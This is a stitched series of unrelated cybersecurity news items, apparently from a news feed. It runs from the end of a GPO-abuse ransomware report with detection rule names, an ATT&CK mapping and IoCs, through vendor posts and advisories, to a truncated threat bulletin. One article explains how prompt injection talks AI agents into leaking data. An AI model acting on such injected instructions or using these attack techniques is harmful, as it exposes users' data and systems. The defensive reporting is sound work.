deletion Detection of Windows Defender disablement: R076_01_Windows Defender Antivirus was disabled Detection of attempts to disable or modify the system firewall: R240_03_Disabling system firewall via the registry Detection of a service installation from a non-system folder, which may indicate malware persistence techniques: R281_01_Installation of a service from a non-system folder For the rules in this list to function correctly, it is necessary to configure Security event auditing for event IDs 4663, 5136, 4657, 7036, and 1102. In addition to the SIEM system, when audit settings are configured correctly, the process of creating, modifying, and deleting GPOs generates a large number of characteristic artifacts on the domain controller, enabling Kaspersky Endpoint Detection and Response Expert to promptly alert the user to anomalies in the infrastructure. The creation of a new GPO is covered by the gpo_creation rule, which triggers in response to the corresponding event in the infrastructure. Changes to existing policies are detected by the following rules: The setting_the_gpcmachineextensionname_attribute rule detects changes to the gPCMachineExtensionNames attribute. The setting_the_gpcfilesyspath_attribute rule detects the use of the gPCFileSysPath attribute of a Group Policy Object, which specifies the path to the GPO’s contents in SYSVOL. The broader rule setting_the_grouppolicycontainer_class detects a change to the groupPolicyContainer class. GPO deletion is covered by the gpo_deletion rule. In the next major version update of Kaspersky EDR Expert, a new event type, GPO, will be introduced, allowing users to track changes to Group Policy Objects. For information security officers, GPO events will serve as an additional source of context when investigating activity in Active Directory and will help detect changes that could affect the configuration, access rights, and security of endpoints before a potentially malicious policy is deployed. MITRE ATT&CK mapping Tactic Technique Observed behavior Initial Access T1078 — Valid Accounts Compromised domain credential used for VPN authentication Initial Access T1133 — External Remote Services FortiGate SSL VPN used as entry point Privilege Escalation T1078.002 — Domain Accounts Account held domain-level GPO create/link rights Privilege Escalation/Defense Impairment T1484.001 — Group Policy Modification Malicious PAYLOAD GPO created and linked at domain root; re-applies on every refresh/reboot; uses trusted channel to evade EDR Defense Impairment T1686 — Disable or Modify System Firewall win Firewall Off GPO disables Windows Firewall on all profiles Impact T1491.001 — Internal Defacement Wallpaper and lock screen replaced with ransom image Impact T1531 — Account Access Removal Local Administrator account disabled via GPO Security Settings Collection T1005 — Data from Local System Data exfiltration was observed originating from the file servers Command and Control T1071 — Application Layer Protocol No live C2 confirmed; delivery achieved entirely via GPO Indicators of compromise GPOs PAYLOAD ransomware GPO: {C897F2C7-C2AC-4E6F-BF48-58036FF29E79} win Firewall Off GPO: {22099AD2-E062-4F56-B574-5099BBA4E7A6} File names and MD5 hashes payload.jpg: Ransom wallpaper and lock screen image (SYSVOL) hello.txt: Ransom note source (SYSVOL) README-payload.txt: Ransom note dropped to desktops and drive roots killer.exe ( 0108656A3E1ADE6CA4F21B084F5E1208 ): process killer tool kill.exe ( BEA5E267F24D7DA59F6821BFFDBFF293 ): process killer tool IP addresses 37.19.210[.]12 146.70.117[.]239 149.102.229[.]154 104.164.55[.]46 104.28.162[.]228 104.28.163[.]162 64.190.76[.]14 192.42.116[.]50 192.42.116[.]12 192.42.116[.]56 192.42.116[.]97 192.42.116[.]52 Registry keys HKLM\...\Policies\System\legalnoticecaption = Welcome to Payload! SYSVOL path \\DC.THECOMPANY.local\sysvol\THECOMPANY.local\payload.jpg Event IDs 5137: GPO object creation on DC — review creator account 5136: GPO attribute modification — watch gPLink at domain root

Attackers now weaponize new vulnerabilities in about five days (Mandiant, part of Google Cloud). The median organization takes 43 days to patch one (Verizon DBIR 2026). A new free guide explains how autonomous AI agents are closing that gap, and what security leaders must demand before pointing one at production. TL;DR Exploitation is now the front door. It starts 31% of breaches (Verizon DBIR

CISA and NIST issued final guidance to help protect cloud identity tokens and assertions

Aggiornamenti di sicurezza IBM sanano una vulnerabilità, con gravità "alta", nel prodotto Db2, sistema di gestione di database relazionali (RDBMS). Tale vulnerabilità, qualora sfruttata, potrebbe consentire a un attaccante remoto la scrittura di file arbitrari sui sistemi interessati.

Really interesting story about Harvest, a specialized code breaking computer built in the 1960s by IBM for the NSA.

Your AI agent’s system prompt is not a security control An AI agent told in its system prompt to show a user only what that user is cleared to see will hand over more the moment someone talks it into doing so. Gee Rittenhouse, who oversees Security Hub, GuardDuty, and Inspector at AWS, and Eric Johnson, a fellow at the SANS Institute, put the fix one layer down: scope the query to the user’s permissions at retrieval time, inside the role-based or attribute-based access system the company already runs, and filter the results before they reach the model’s context window. Four stages of progression (Source: SANS) Prompts, they write, can be “bypassed, ignored, or overridden.” If a person cannot pull a record through the normal app interface, the agent acting for them should not be able to pull it either. The two wrote the guidance with three AWS security specialists for companies that already have agents running or under active development. An agent authenticates on behalf of a user, chains tool calls together, and finishes multistep work without pausing for approval, so one bad instruction can reach production data in the time it takes to log the request. McKinsey put AI adoption at 80% of organizations and AI governance at 10%. IBM’s 2025 breach research found that organizations with a high level of ungoverned shadow AI paid $670,000 more per breach on average. Three capabilities you don’t want in one agent Risk concentrates when a single agent holds access to sensitive data, the ability to communicate externally, and exposure to untrusted content. That convergence turns the agent into a route for data to leave, because untrusted content is where prompt injection arrives: hidden instructions buried in what looks like ordinary input. OWASP ranks prompt injection as the top threat to AI applications, and it bites at the simplest deployment stage, before an agent has any tools or autonomy at all. Keep any one component from holding all three, and most of that risk goes with it. The clock they want you to watch Attack surface minutes measure how long a vulnerability stays exploitable before controls contain it, an idea borrowed from dwell time and aimed at the window of exposure instead of the intruder. The number drives architectural calls: when periodic scanning has to become continuous monitoring, when batch alerting has to become streaming detection, when manual triage has to become automated containment. Agents act in milliseconds. The unit in the metric is minutes, and the authors say so themselves, which tells you how much ground the containment side has to make up. Baselines take 30 days Analytics built to model human users do not carry over to agents. Traffic patterns, API call sequences, and resource access cadences need purpose-built models, and an AI coding tool throwing off multiprocess activity will look anomalous to a legacy detection system that is working as designed. The instruction is to instrument the highest-risk agents first and collect at least 30 days of baseline data before tuning detection rules. Teams tune the rules after the month of data is in, and the highest-risk agents are the ones running while it collects. Where the controls sit “The model is never the control,” the authors write. In practice that means content filters that catch and redact PII on the way out, immutable backups kept in storage the agent’s credentials cannot reach, and a policy engine that evaluates each individual tool call against what it touches and what happens if it goes wrong. They call default-deny at the tool invocation layer the most critical architectural pattern for agentic security, and they name Cedar and Open Policy Agent as ways to run it at scale. High-impact actions route to a human checkpoint whatever the confidence score says. Low-impact actions with high confidence run unattended. When something does go wrong, containment fires on four layers at once: revoke credentials and suspend sessions, block egress, disable tool access and freeze state, restrict data and turn up logging. Circuit breakers suspend an agent on a threshold violation without waiting for a human to confirm, on the reasoning that an agent shown a warning will not stop to reconsider the way a person would. Every prompt, tool call, and response goes to immutable storage so the decision chain can be reconstructed afterward. Default-deny at the tool invocation layer is the piece that holds when the others give. It works while the model is misbehaving, while the prompt is poisoned, and while the behavioral baseline is still filling up. The rest of the framework buys time until that check runs. Download: The Agentic Software Development Guide

LastPass enhancements improve visibility, governance, and control LastPass announced a series of strategic product innovations, customer experience enhancements, and industry milestones. These advancements reflect the company’s continued focus on providing practical tools to protect access and identity in an increasingly AI-driven threat landscape. Highlights include new tools that simplify access management, enhancements that help customers get more value from LastPass, and milestones that demonstrate the company’s continued growth and industry leadership. The LastPass commitment to visibility, governance, and control comes at a pivotal moment. According to IBM’s 2026 Cost of a Data Breach Report, the average data breach now costs organizations $4.99 million, a record high and 12% increase over last year. The report also found AI-driven attacks increased 56%, adding an average of $1 million to breach costs, and 92% of organizations experiencing AI-related breaches lacked appropriate AI access controls. “As threat actors continue to automate and accelerate their attack tactics, strong identity, credential, and access management have become foundational security requirements, particularly for small and midsize businesses with limited resources,” said Karim Toubba, CEO of LastPass. “To address these evolving challenges, LastPass is dedicated to delivering the innovations that help organizations and individuals reduce risk while making security easier to manage.” LastPass introduced numerous enhancements across SaaS Monitoring and SaaS Protect within its flagship Business Max offering to help businesses navigate increasingly complex SaaS landscapes with greater visibility, oversight, and confidence. This includes: Always-on SaaS Monitoring: Persistent Monitoring maintains continuous visibility through a permanent connection to the LastPass browser extension, ensuring monitoring remains active even when users are signed out of LastPass. More flexible SaaS Protect controls: Expanded usage rules allow administrators to create more granular policies for specific users or groups, enabling organizations to apply security controls based on their unique needs. Together, these enhancements help organizations accelerate adoption, reduce manual workloads, improve security coverage, and strengthen policy enforcement by giving administrators more control over how and where security policies are applied. As of July, all enhancements have been fully released, including Persistent Monitoring across all browser extensions. LastPass launches Mobile Smart Scanner With the launch of Mobile Smart Scanner, LastPass empowers businesses and individuals across all product offerings to: Use the LastPass Mobile app to scan passwords from printed lists, screenshots, handwritten notes, and other physical sources and turn them directly into editable, autofill-ready credentials. Reduce manual data entry, saving time and minimizing errors. Simplify password management, keeping credentials secure in encrypted vaults rather than vulnerable on notes or memory. LastPass transforms user experience with enhanced, high-efficiency community platform Building on its commitment to customer success, LastPass introduced a redesigned Community experience that streamlines how customers discover trusted information, connect with peers, and get more value from the platform. With a more intuitive interface and expanded self-service resources, including topical portals and AI-powered search, the enhanced LastPass Community helps users across all product offerings quickly access the knowledge they need to strengthen security and resolve questions faster. The LastPass Community is part of a broader, integrated self-service strategy designed to meet customers at their point of need — whether that’s through the company’s branded community or across social platforms like Reddit and LinkedIn. LastPass security and UX improvements Security and compliance milestone For the second consecutive year, LastPass successfully completed independent SOC 2 and ISO 27001/27701 audits with zero findings, reinforcing the company’s commitment to security and providing customers with assurance that LastPass controls meet globally recognized standards. Dark web monitoring (DWM) auto-enrollment LastPass has enacted a phased rollout to automatically enroll all consumer accounts in DWM, transitioning the service from a historically opt-in experience to a more proactive protection model. This update helps ensure more customers can benefit from credential exposure monitoring without requiring additional setup, helping users identify potential risks and take action to protect their accounts. Dark web monitoring from LastPass consistently checks user information against databases of compromised credentials, and issues immediate alerts if any personal data is found on dark web sites. With 24/7 monitoring, users can take near real-time action, such as changing their password, to protect themselves. LastPass DWM also notifies users of potential threats like weak passwords, helping them stay ahead of threat actors. Admin console consolidation LastPass officially completed the transition from its Legacy Admin Console to a single Unified Admin Console, creating a more consistent and streamlined experience for administrators across business offerings. By consolidating management capabilities into one centralized platform, LastPass enables faster product improvements while simplifying how admins manage users, security controls, and access policies. Simplified organization-wide onboarding for all business customers A new company-wide sign-up link allows Teams, Business, and Business Max customers to onboard their entire organization to LastPass through a single shareable link, reducing administrative effort and accelerating deployment.

NIS2 compliance: Fixing IAM and access control before the 2026 audit The NIS2 Directive places direct obligations on organizations across supply chain risk management, incident reporting, and board-level accountability. October brings a new wave of legally binding deadlines across the EU, as member states move from transposition into enforcement. In Austria, the national implementation law enters into force once adopted; in Poland, mandatory self-registration closes on a fixed date set by the national authority. Broader NIS2 non-compliance exposes essential entities to fines up to €10 million or 2% of global turnover, important entities to up to €7 million or 1.4%, and management bodies to personal liability, including temporary bans from executive roles. Most organizations know they need to comply. The harder question is where to start without burning out the team before the first audit. Companies can’t boil the ocean and tackle everything at once. The practical path is to identify controls that are fast to implement, generate immediate auditable evidence, and close the attack vectors that matter most. Access management and credential hygiene fit all three criteria. They won’t cover every NIS2 requirement, but they’ll get you further, faster, than almost any other single investment. Why credentials are still the chokepoint The 2026 Verizon Data Breach Investigations Report found that vulnerability exploitation overtook stolen credentials as the top single initial access vector, accounting for 31% of breaches. But deprioritizing credential controls on that basis would be the wrong call. The DBIR’s own data tells a different story when the focus shifts past the initial access frame. Credential abuse measured across the full attack chain appears in 39% of all breaches. Verizon explicitly identifies it as a “legitimate mitigation target chokepoint.” Credentials don’t just open the front door; they’re what attackers use to move through the building once they’re inside. Compare the implementation timelines of two NIS2 Article 21 requirements: Supply chain risk management (Art. 21(2)(d)) — 6–12 months Access control enforcement (Art. 21(2)(i)) — 2–4 weeks Enforcing a fine-grained password policy across Active Directory, migrating shared credentials into a managed vault, and enabling phishing-resistant MFA for privileged accounts is a 2–4-week project for a competent team. The ROI on compliance effort is not close. Three access management gaps that fail pre-audits 1. Unmanaged service accounts and API keys Most NIS2 access management discussions focus on human users. Auditors increasingly don’t. Service accounts, API keys, database connection strings, and deployment tokens are non-human identities and they’re routinely unmanaged in ways that would be unacceptable for any human account. A typical mid-size organization has more service accounts than human accounts. Most share passwords have never been rotated, and have no documented owner. These credentials live in .env files, CI/CD pipeline configurations, and shared drives, exactly the places attackers look after initial access. Article 21(2)(i) requires access control policies to cover all accounts with access to network and information systems. “All accounts” includes service accounts. If you can’t enumerate them, you can’t control them, and you can’t prove control to an auditor. The fix starts with inventory: pull every service account from AD, every API key from your secrets store (or from the config files where they’re currently hardcoded) and get them into a managed system with rotation schedules and documented owners. 2. Dormant accounts and broken offboarding A dormant account exists, has valid credentials, and belongs to someone who no longer needs access: a former employee, a contractor whose engagement ended, a vendor whose project closed six months ago. These accounts are a direct audit failure point under Article 21(2)(i), which requires access control policies to include lifecycle management. The offboarding failure is almost never malicious. It’s procedural. HR closes the ticket, IT disables the Active Directory account, and nobody checks whether that person also had direct database access, a VPN certificate, an AWS IAM user, or SSH keys on three production servers. Each of those is a separate credential that needs to be revoked. In most organizations, no single system tracks all of them. Access reviews must be documented and exportable. Auditors want reports with a clear review history, not email chains. 3. Missing phishing-resistant MFA Article 21(2)(j) requires MFA “where appropriate.” ENISA’s guidance and the broader regulatory direction make clear that “appropriate” covers all privileged access and all remote access to critical systems. SMS OTP is no longer sufficient for these contexts. NIST SP 800-63B (section 5.2.10) explicitly classifies SMS-based OTP as a restricted authenticator, citing SIM swapping and SS7 interception risks. Phishing-resistant MFA, FIDO2/WebAuthn, hardware security keys, or certificate-based authentication, is the standard that holds up under scrutiny. Many organizations have deployed MFA broadly but still allow exceptions for legacy systems, shared accounts, and service accounts. Those exceptions attract auditor scrutiny and require both technical controls and documented approval processes. A single point of control All three gaps share a common thread: the absence of a single system that tracks credentials, enforces access policies, and produces exportable evidence. Passwork addresses this directly: Service account passwords, API keys, and certificates stored in a self-hosted vault with per-secret ownership records and rotation schedules; RBAC and AD/LDAP integration for lifecycle management; WebAuthn and hardware security key support for phishing-resistant MFA on vault access. The audit log records every action with timestamps, so the quarterly access review becomes a report export, not a manual exercise. The evidence problem Having a control and proving a control are two different things. This is where most organizations fail pre-audits: not because the controls don’t exist, but because the evidence doesn’t. NIS2 Article 32 gives competent authorities the right to request documentation of implemented security measures. Documentation is the policy text, the technical control enforcing it, and a log showing the control has been active and has generated events. For credential and access management, auditors expect: Access control policy — written, versioned, approved by management Technical enforcement evidence — AD fine-grained password policy settings, MFA enrollment reports Access review records — who reviewed, when, what was revoked Privileged account inventory with ownership documentation Credential rotation logs for service accounts and API keys Offboarding records with completion timestamps If it isn’t logged and exportable, it doesn’t exist from an auditor’s perspective. The goal is a system that generates the evidence automatically as a byproduct of normal operations. Five steps to credential compliance Step 1. Inventory everything. Map what exists: shared accounts, service accounts, API keys, and any credentials stored outside a managed system: spreadsheets, email, .env files. This inventory is your baseline and your first evidence artifact. Step 2. Deploy a centralized credential vault. Choose a solution that supports AES-256 encryption, RBAC, and AD/LDAP integration. Configure vault structure to mirror your organizational hierarchy. A self-hosted deployment gives you data sovereignty and satisfies internal security policies that prohibit storing credentials in third-party cloud services. Passwork is one example of a platform designed specifically for this deployment model — self-hosted, AES-256 encrypted, with RBAC and AD/LDAP integration out of the box. Step 3. Enforce MFA and least-privilege access. Enable MFA on all vault access from day one. Assign permissions at the role level. Apply the principle of least privilege: each user and service account gets access only to what their function requires. Document the role matrix, this is your Article 21(2)(i) access control evidence. Step 4. Migrate unmanaged secrets into the vault. Move API keys, database credentials, certificates, and service account passwords into the vault. Retire the .env files and shared spreadsheets. Set rotation policies where feasible. Step 5. Configure audit logging and schedule regular reviews. Enable full audit logging and export a compliance report immediately after deployment. Schedule quarterly access reviews: dormant accounts, over-privileged roles, credentials not accessed in 90+ days. Each review cycle produces a dated evidence artifact demonstrating ongoing compliance, exactly what Article 32 enforcement requires. Where to start The organizations that will struggle with NIS2 audits are not the ones with imperfect security. They’re the ones with no evidence. IBM’s 2026 Cost of a Data Breach Report puts the global average breach cost at $4.99 million, and the organizations containing breaches faster are consistently the ones with visibility into where their credentials are. The harder NIS2 workstreams, supply chain risk, incident response, board-level governance, need to run in parallel. But credential management is where you get your first provable win. Start with the inventory: 1. Get service accounts under management. 2. Close the dormant account backlog. 3. Enforce phishing-resistant MFA on privileged and remote access. 4. Build the logging infrastructure that turns these controls into exportable evidence. That work can be operational in under 30 days, and it closes the credential chokepoint present in 39% of all breaches across the full attack chain. Passwork is a self-hosted password and secrets manager built for enterprise environments — AES-256 encryption, RBAC, AD/LDAP integration, and exportable audit logs included.

When customers keep pointing you to a solution that overlaps with parts of your own offering, you have a choice to make. This post is about the choice we made with Upwind, and why we’d make it again. AWS Security Hub Extended exists because customers told us what was working for them in enterprise security and asked us to simplify adoption and integration. Upwind was one of the solutions customers kept naming, so we brought them in. Upwind didn’t only agree to participate, they committed fully to integration. They brought their full solution portfolio into Extended with aggressive pay-as-you-go pricing from day one. They got their field organization fully aligned on joint deal flow and have driven more customer activity and closed deals through Security Hub Extended than any other partner in the program. Giving customers choice, even when it overlaps Multiple best-of-breed options in cloud security—including one that overlaps with our own capabilities—are straightforward when you start with what customers need. Some will choose Security Hub Essentials for cloud security posture management and vulnerability scanning. Some will choose Upwind for runtime-first protection. Some will run both and get stronger outcomes from the combination. The customer decides, not us. That principle applies to every partner in Security Hub Extended. We listen to what’s working, and we simplify adoption through the same AWS relationship customers already have. “Our customers run on AWS, and Security Hub is where their security operations live,” said Amiram Shachar, Co-Founder and CEO of Upwind. “Being inside Security Hub means customers get Upwind’s cloud workload protection with the same billing, the same support path, and the same operational model they already know. We’re here because it’s a better outcome for the customers we share.” Who is Upwind? Upwind is a cloud security company trusted by Siemens, Peloton, Roku, Wix, Nextdoor, and Nubank. Fast Company named them one of the Most Innovative Companies of 2026. What makes them different is runtime. Most cloud security solutions scan configurations periodically and report what could be a risk based on static posture. Upwind deploys an eBPF-based sensor directly in the Linux kernel that sees what workloads are doing in real time, including process behavior, network connections, API calls, and container interactions. All observed continuously. That means Upwind can tell you not only what could theoretically be exploited, but what is actively at risk right now. That distinction cuts alert noise dramatically and lets security teams focus on what genuinely matters. Better together. Not only with AWS, but with each other Now extend that to the rest of your security stack. If you’re already running other Security Hub Extended solutions, they work together without you building the integrations. A customer running Chainguard for supply chain security, Upwind for runtime protection, and Splunk for security operations gets a connected experience. Chainguard helps ensure clean, malware-resistant dependencies at build time. Upwind validates workload behavior at runtime and enriches those findings with real-time context. Everything flows into Splunk through Security Hub for unified triage. One experience, one bill, no custom integration work. The security team sees the full lifecycle from build to production without stitching tools together. That same pattern applies with 7AI, where AI-driven automation can triage and investigate Upwind’s runtime events alongside endpoint, identity, and network signals, all without manual pipeline work. This is the multi-way partnership that Security Hub Extended was designed to enable. These solutions aren’t only easier to buy together, they’re building toward each other. The findings flow into Security Hub in OCSF (Open Cybersecurity Schema Framework), get correlated and prioritized together, and route to the downstream tools your team already uses. Your security stack gets stronger as a whole, not only solution by solution. How it works commercially This isn’t a paper partnership. We’re closing multi-million dollar deals together through Security Hub Extended. Upwind has engaged faster than any other partner in the program, bringing their own customer opportunities and joining AWS-originated deals to close them jointly. One enterprise customer recently replaced their incumbent CNAPP with Upwind through a Security Hub Extended Private Offer. The deciding factors were runtime visibility that their previous solution couldn’t deliver and a single predictable commercial model that replaced complex per-module pricing across multiple vendors. The commercial model has momentum, and it’s because Upwind invested not only in signing an agreement but in the engineering and go-to-market work that makes joint success real. Upwind is available through Security Hub Extended with pay-as-you-go pricing, one AWS bill, and no required long-term commitment. For enterprises that prefer committed-pricing agreements, Security Hub Extended Private Offers are also available with deeper discounts and the ability to aggregate spend across partners. You choose the path that fits how you buy. If you’re already running Security Hub for posture management and vulnerability scanning, adding Upwind gives you runtime visibility alongside what you already see. No new tooling to stand up, no new workflow to learn. It shows up in your existing prioritized view of risk. What Upwind is building next Upwind continues to expand. AI workload protection that monitors model behavior and agent tool calls at runtime. Windows Server VM coverage across AWS, Azure, and GCP. Deeper integration with the Security Hub correlation engine so runtime context enriches attack-path intelligence automatically. The partnership deepens as both sides invest. “We believe runtime context and AWS-native signals together produce stronger outcomes than either alone,” said Amiram Shachar, Co-Founder and CEO of Upwind. “As Security Hub deepens its correlation and Upwind extends its runtime fabric, customers who use both will have a view of risk that no single solution can replicate. That’s the future we’re building toward together.” What this means for you Security Hub Extended exists to give you access to the solutions your peers are already succeeding with through the AWS relationship you already have. Upwind is what that philosophy looks like when applied to a category where AWS has an existing offering. We listened to customers, saw what was working for them, and made it available with the same commercial model as everything else. Enable Upwind through the AWS Security Hub console. Pay-as-you-go. No commitment required. If you want to understand what consolidation looks like with Security Hub Extended, talk to your AWS account team. We’re just getting started, but the momentum is real. If you have feedback about this post, submit comments in the Comments section below. Michael Fuller Michael has been with AWS for 16 years and led product for AWS Security Services for 11 years. Michael has 29 years in the industry and held several roles in product management, business development, and software development for IBM, Cisco, and Amazon. Michael has a Bachelor’s of Science in Computer Engineering from the University of Arizona and an MBA from the University of Washington.

Nearly 130 organizations spanning cybersecurity, cloud computing, finance and other industries have signed an open letter calling for a coordinated, global surge in cyber defense as AI makes attacks more widespread and sophisticated. Signatories include Anthropic, Microsoft, Google, Cisco, Check Point, Cloudflare, CrowdStrike, IBM, Oracle and OpenAI, which is leading the effort. The letter warns that AI-enabled attacks will become significantly more capable in the coming months, putting hospitals, water treatment plants and internet infrastructure at increasing risk. However, the same AI advances are giving defenders new ways to fix security weaknesses, and acting quickly could make a lasting difference. Three principles anchor the collective response proposed by the initiative. One of them is that longstanding bugs, misconfigurations, weak authentication and other technical debt mean status quo security will no longer be enough. The second refers to AI extending specialist security skills to more defenders and making shared knowledge and verified fixes more broadly useful. The last principle emphasizes the need for a global, coordinated response as cyber capabilities advance across many organizations. Every organization is asked to treat cyber defense as an immediate leadership priority, fix the highest-risk weaknesses first, raise the security bar for what they build and buy, and apply compensating controls where systems can’t be patched without disrupting essential services. Cybersecurity companies and technology partners are called on to test defenses continuously against frontier-level AI capabilities, make AI-powered protection accessible to critical infrastructure operators with limited budgets, and share threat intelligence and playbooks that have been verified to actually work. Governments are urged to coordinate cyber defense across local, national and international levels, fund essential services that lack the staff or budget to respond, and give critical infrastructure access to defensive AI tools and authorized testing support. The letter also calls for imposing costs on attackers. Frontier AI companies are asked to provide responsible model access, funding and hands-on support to under-resourced defenders, build tools for monitoring AI systems and keeping their actions traceable and accountable, and share threat assessments with governments and open source maintainers. OpenAI, as the initiative’s lead, outlined three specific commitments, including subsidized access to its Daybreak Cyber models for public-sector organizations, nonprofits, open source maintainers and critical infrastructure operators. The company is also offering a program that lets companies work with authorized partners to test their defenses using its models and privately report weaknesses. In addition, it will continue to publish security tools and findings to help organizations find, prioritize, and verify fixes for vulnerabilities. Related: The Future of AI-Driven Security Depends on Complete Data Related: OpenAI Agents Coordinated via Makeshift Message Board Ahead of Hugging Face Hack Related: AI Speeds Up Malware Development, Not Its Success Rate Related: Linux Foundation to Govern TRACE, an Open Standard for AI Runtime Attestation

OpenAI has gathered more than 100 of the world's biggest tech and infosec companies to warn that cyber defense is in trouble - a reassuring development given quite a few of them helped build the technology involved. The open letter has more than 100 names attached to it, including many of the companies with the most to gain – or lose – from what happens next. OpenAI, Anthropic, Google and Microsoft are among the AI builders warning about increasingly capable AI attacks, while security heavyweights including Cloudflare, CrowdStrike, Fortinet, and Palo Alto Networks have also signed on. AWS, IBM, Oracle and Cisco are there too, alongside banks, consultancies and other companies whose businesses depend on keeping an increasingly messy technology stack running. Together, they have reached a troubling conclusion: the current approach to cybersecurity isn't working. "We have a limited window to strengthen cyber defenses," the letter warns, predicting that AI-enabled attacks will become "far more widespread and sophisticated" in the coming months as models become more capable. Hospitals, water treatment plants and internet infrastructure are singled out as being at risk. It's an interesting warning given who's making it. Some of the signatories are racing to build ever more capable AI systems, while others make billions selling the cloud services, enterprise software and security tools that are supposed to keep attackers at bay. Still, the underlying problem is real enough. The letter points to old vulnerabilities, unpatched software, misconfigurations and weak authentication as problems that have been piling up for years, particularly across critical infrastructure where security teams are often short on money and staff. Their proposed solution is, inevitably, more AI. The letter calls for cyber-capable models to be put into the hands of more defenders, with cheaper models handling security work at scale and frontier systems reserved for harder problems. Security vendors should continuously test their defenses against frontier AI capabilities, share threat intelligence and help critical infrastructure operators deploy AI-powered defenses. Governments, meanwhile, are asked to fund cybersecurity for essential services, expand trusted-access programs and give hospitals, water utilities and local governments access to capable defensive AI. Companies developing frontier models have their own homework assignment. They should provide "responsible model access, significant funding, training, and hands-on support," particularly to under-resourced critical infrastructure operators, while investing in testing, vulnerability disclosure and tools that make AI agents traceable. What the letter doesn't include is any figure for that "significant funding," or any deadlines or firm commitments from the companies signing it. For now, they're being asked to bring the "full weight of their technology, resources, and expertise" to the problem. It's quite a message from a group that includes some of the biggest names in cloud, enterprise software, and cybersecurity. When more than 100 companies agree that "status quo security won't be enough," it's worth remembering that many of them have been selling that status quo for years. There is some urgency behind all this. AI agents have already been shown finding and exploiting vulnerabilities on their own, while AI-generated exploit code has started turning up in attacks against critical infrastructure. As the models improve, the fear is that those capabilities become cheaper and available to a lot more attackers. That's the "defenders' window" the signatories want to seize: use AI to shore up defenses before the offensive side gets much easier. So, after years of selling organizations cloud services, security software and, more recently, AI, the industry has settled on a fix for the looming AI security problem: better cybersecurity, more resources and more AI. Who will pay for it remains rather less clear. ®

Packages linux-azure-6.8 - Linux kernel for Microsoft Azure cloud systems linux-ibm - Linux kernel for IBM cloud systems linux-ibm-6.8 - Linux kernel for IBM cloud systems linux-oracle-6.8 - Linux kernel for Oracle Cloud systems linux-raspi - Linux kernel for Raspberry Pi systems linux-raspi-realtime - Linux kernel for Raspberry Pi Real-time systems Details Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: Network drivers; Open vSwitch; SCTP protocol Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: Network drivers; Open vSwitch; SCTP protocol Update instructions The problem can be corrected by updating your system to the following package versions: Reduce your security exposure Ubuntu Pro provides ten-year security coverage to 25,000+ packages in Main and Universe repositories, and it is free for up to five machines.

A fake login page. A fake security scan. A fake productivity app. Apparently, pretending to be useful is still one of the easier ways into a machine. The rest of the week gets stranger: botnets borrowing AI, command traffic hiding in public infrastructure, malicious tools waiting before showing their real behavior, exposed systems getting scanned, and exploit windows shrinking again. Different tricks, same advantage: attackers keep finding places where trust is cheap and friction is low. That sets the tone. Here’s the full list of what surfaced this week. The threats change every week. Subscribe, and we’ll alert you when each new ThreatsDay Bulletin is out. Social engineering attempt failsCybersecurity company ReliaQuest has confirmed that one of its employees was targeted in a social engineering attack after hackers impersonated a member of the security team. The incident took place on August 22, 2026. "The threat actor registered a lookalike domain and stood up a fake ReliaQuest single sign-on (SSO) page behind a content delivery network," the company said. "The threat actor then called multiple ReliaQuest teammates, each time posing as a security employee by name in an attempt to steer them towards the fake page. One teammate entered their password and approved the push notification on their phone. That handed the attacker a brief session on our identity dashboard." ReliaQuest said the extent of the access was view only, and that no applications or systems were accessed, and no customer data was ever touched. Although the company did not attribute the incident to a particular threat actor, it noted the playbook aligns with tactics adopted by ShinyHunters and other extortion crews, such as "an impersonation call, a throwaway lookalike domain registered and burned within the hour, a harvesting page behind a content delivery network, MFA push abuse, and a rapid attempt to enroll a new authenticator." The development comes as ShinyHunters listed the company on its dark web portal. Last week, ReliaQuest said it's tracking a ShinyHunters campaign using domains that follow the "company[.]claims" pattern, including "reliaquest[.]claims." Trojanized productivity appsFake websites advertising productivity software are being used to lure users into downloading a deceptively functioning program that contains malware. The Electron-based applications, such as Kitchen Canvas, Food or Meal Formula, DocConvertWizard, and other PDF conversion tools under different names, gain the ability to dynamically execute injected scripts and access desktop capture functionality through Electron APIs. Live operator-driven phishingAn undocumented phishing framework, internally branded "JWR" by its developer, is designed to convincingly impersonate checkout and login pages across major payment and shopping platforms. "The client engine of the JWR phishing framework is a real-time, operator-driven system that, rather than merely logging form submissions like a static credential-stealing page, keeps an AES-CTR encrypted WebSocket open to the threat actor so they can steer each victim's session live," Cisco Talos said. "The victim data targeted by the actor using JWR extends well beyond payment data, encompassing identity documents, Social Security numbers, passport and driver's license images, website and PayPal credentials, 2FA codes, and full device fingerprints, all committed to the actor's server once a session ends." The JWR phishing framework is assessed to be a variant of The Outsider phishing-as-a-service (PhaaS) platform, based on several similarities in the client engine scripts and functionalities of the two PhaaS platforms. Android fraud bot for rentCybersecurity researchers have disclosed Octagon, a previously undocumented Android on-device fraud bot sold as malware-as-a-service (MaaS) by the Russian-speaking actor AndroidKitKat. "The operator advertises Octagon for $1,400 a month, giving buyers accessibility overlays, hidden VNC, SMS and one-time password interception, unlock-pattern capture, and on-screen balance reading," iVerify said. "It targets crypto wallets and banking apps after installation, while the delivery app can use an unrelated theme." Rust backdoor tied to ransomwareA new Rust-based malware family dubbed C2Looper is likely leveraged by a ransomware-related threat actor and delivered to victims through a multi-stage ClickFix infection chain. Zscaler ThreatLabz said it discovered the malware in July 2026. "C2Looper supports typical backdoor commands including remote shell execution, reconnaissance, and deploying additional malware tooling," Zscaler said. "C2Looper dynamically resolves Windows APIs and encrypts strings." There also exists a variant with additional features and capabilities, including the use of GitHub for command-and-control (C2) communications. 296,000 IoT devices compromisedNearly 296,000 devices have been compromised by a botnet named Dysphoria. "Dysphoria targets IoT devices and its primary function appears to be for use in DDoS-attacks," the Shadowserver Foundation said. "Recently the botnet has gotten residential proxy functionality." C2 moves onto PolygonA recently discovered C++ botnet loader called Aeternum has shifted its C2 infrastructure entirely to the public Polygon blockchain. "Instead of relying on centralized servers or domains, threat actors operate Aeternum by writing encrypted and plaintext instructions directly using smart contracts," Palo Alto Networks Unit 42 said. "Infected devices continuously query public remote procedure call (RPC) endpoints to retrieve and execute these on-chain commands. The Aeternum botnet uses decentralized networks and evasion techniques, such as virtual machine detection and antivirus scanning, to operate effectively. This combination establishes a highly resilient, low-cost threat that complicates existing law enforcement takedown methods." AI enters botnet workflowsAn AArch64 Linux peer-to-peer botnet called ToxNetV2 has integrated a large language model (LLM) into 